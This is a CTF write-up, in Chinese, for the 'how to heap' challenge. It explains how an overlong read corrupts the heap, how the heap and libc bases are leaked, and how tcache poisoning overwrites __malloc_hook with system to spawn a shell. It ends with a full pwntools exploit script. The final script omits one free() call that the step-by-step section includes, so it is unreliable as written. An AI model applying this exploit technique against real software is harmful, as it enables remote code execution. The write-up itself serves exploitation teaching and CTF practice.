###### tags: `Rumble`
# how to heap(Rumble)
- 這題note漏洞在於read自己可以設定長度,可以蓋掉我們要的值
- leak heapbase
- leak libc base
- 找libc版本
- 將fd蓋成malloc hook再在上面蓋system,最後malloc(已變成system)一段size(/bin/sh)讓他吃進去
- 先寫function互動
```python=
def malloc(index,size):
r.sendline('1')
r.recvuntil('malloc at index:')
r.sendline(str(index))
r.recvuntil('with size:')
r.sendline(str(size))
def free(index):
r.sendline('2')
r.recvuntil('free at index:')
r.sendline(str(index))
def read(index,size):
r.sendline('3')
r.recvuntil('read at index:')
r.sendline(str(index))
r.recvuntil('of size:')
r.sendline(str(size))
def write(index,size,data):
r.sendline('4')
r.recvuntil('write to index:')
r.sendline(str(index))
r.recvuntil('of size:')
r.sendline(str(size))
r.sendline(data)
def mask(heapbase,fd):
return fd ^ (heapbase >> 12)
```
### leak heapbase
- free掉1時,(2.32版中)fd指向heapbase>>12的位址,在不知道版本情況下,bk會指向heapbase+0x10的位址
```python=
malloc(0,0x20)
malloc(1,0x30)
malloc(2,0x20)
free(1)
read(0,0x40)
recv = r.recvuntil('>')
heapbase = u64(recv[-9:-1]) -0x10 # read(改0x38,heapbase = u64(recv[-9:-1] <<12)
print 'heapbase: ' + hex(heapbase)
```
### leak libc(找版本)
- 藉由leak一段大於small chunk大小的size,不會進tcache,後面接個fastbin避免被後面top chunk merge掉,他free掉後fd指向main arena+96位置
- 再由p &_IO_list_all_找到list all的位置減去main arena得到偏移值(也得到list all的位址)
- https://libc.rip/
- 找libc版本
- 
```python=
malloc(3,0x20)
malloc(4,0x420)
malloc(5,0x20)
free(4)
read(3,0x38)
recv = r.recvuntil('>')
main96 = u64(recv[-9:-1])
list_all = main96+2496 #find libc version
```
### 找出所需function的位置
```python=
libcbase = list_all - libc.symbols['_IO_list_all']
malloc_hook = libcbase + libc.symbols['__malloc_hook']
system = libcbase + libc.symbols['system']
binsh = libcbase + libc.search('/bin/sh').next()
print 'libcbase: ' + hex(libcbase)
print 'malloc_hook: ' + hex(malloc_hook)
print 'system: ' + hex(system)
print 'binsh: ' + hex(binsh)
```
### call system
- 先malloc三個大小,先free8在free7,7的fd指向8,再6寫0x38寫到7的fd將malloc hook位址寫入,等於要在malloc位址8時,會去7fd找位置(也就是malloc hook),然後再malloc兩塊,第二塊的10指向malloc hook,前8個bytes把system寫入malloc hook最後將bin/sh的記憶體當data寫入
```python=
malloc(6,0x20)
malloc(7,0x40)
malloc(8,0x20)
free(8)
free(7)
write(6,0x38,0x30*'A'+p64(mask(heapbase,malloc_hook)))
malloc(9,0x40)
malloc(10,0x40)
write(10,0x8,p64(system))
malloc(11,binsh)
```
- 完整payload
```python=
from pwn import *
#r = process('./howtoheap')
#libc = ELF('./howtoheap').libc
r = remote('chal.cybersecurityrumble.de',8263)
libc = ELF('./libc-2.32-1-x86_64.so')
def malloc(index,size):
r.sendline('1')
r.recvuntil('malloc at index:')
r.sendline(str(index))
r.recvuntil('with size:')
r.sendline(str(size))
def free(index):
r.sendline('2')
r.recvuntil('free at index:')
r.sendline(str(index))
def read(index,size):
r.sendline('3')
r.recvuntil('read at index:')
r.sendline(str(index))
r.recvuntil('of size:')
r.sendline(str(size))
def write(index,size,data):
r.sendline('4')
r.recvuntil('write to index:')
r.sendline(str(index))
r.recvuntil('of size:')
r.sendline(str(size))
r.sendline(data)
def mask(heapbase,fd):
return fd ^ (heapbase >> 12)
def readbytes(index,size):
read(index,size)
recv = r.recvuntil('>')
for i in range(0,len(recv)):
if (i-1)%8 == 0:
print '---'
print hex(ord(recv[i]))
malloc(0,0x20)
malloc(1,0x30)
malloc(2,0x20)
free(1)
read(0,0x40)
recv = r.recvuntil('>')
heapbase = u64(recv[-9:-1]) -0x10
print 'heapbase: ' + hex(heapbase)
malloc(3,0x20)
malloc(4,0x420)
malloc(5,0x20)
free(4)
read(3,0x38)
recv = r.recvuntil('>')
main96 = u64(recv[-9:-1])
list_all = main96+2496 #find libc version
libcbase = list_all - libc.symbols['_IO_list_all']
malloc_hook = libcbase + libc.symbols['__malloc_hook']
system = libcbase + libc.symbols['system']
binsh = libcbase + libc.search('/bin/sh').next()
print 'libcbase: ' + hex(libcbase)
print 'malloc_hook: ' + hex(malloc_hook)
print 'system: ' + hex(system)
print 'binsh: ' + hex(binsh)
malloc(6,0x20)
malloc(7,0x40)
malloc(8,0x20)
free(7)
write(6,0x38,0x30*'A'+p64(mask(heapbase,malloc_hook)))
malloc(9,0x40)
malloc(10,0x40)
write(10,0x8,p64(system))
malloc(11,binsh)
r.interactive()
```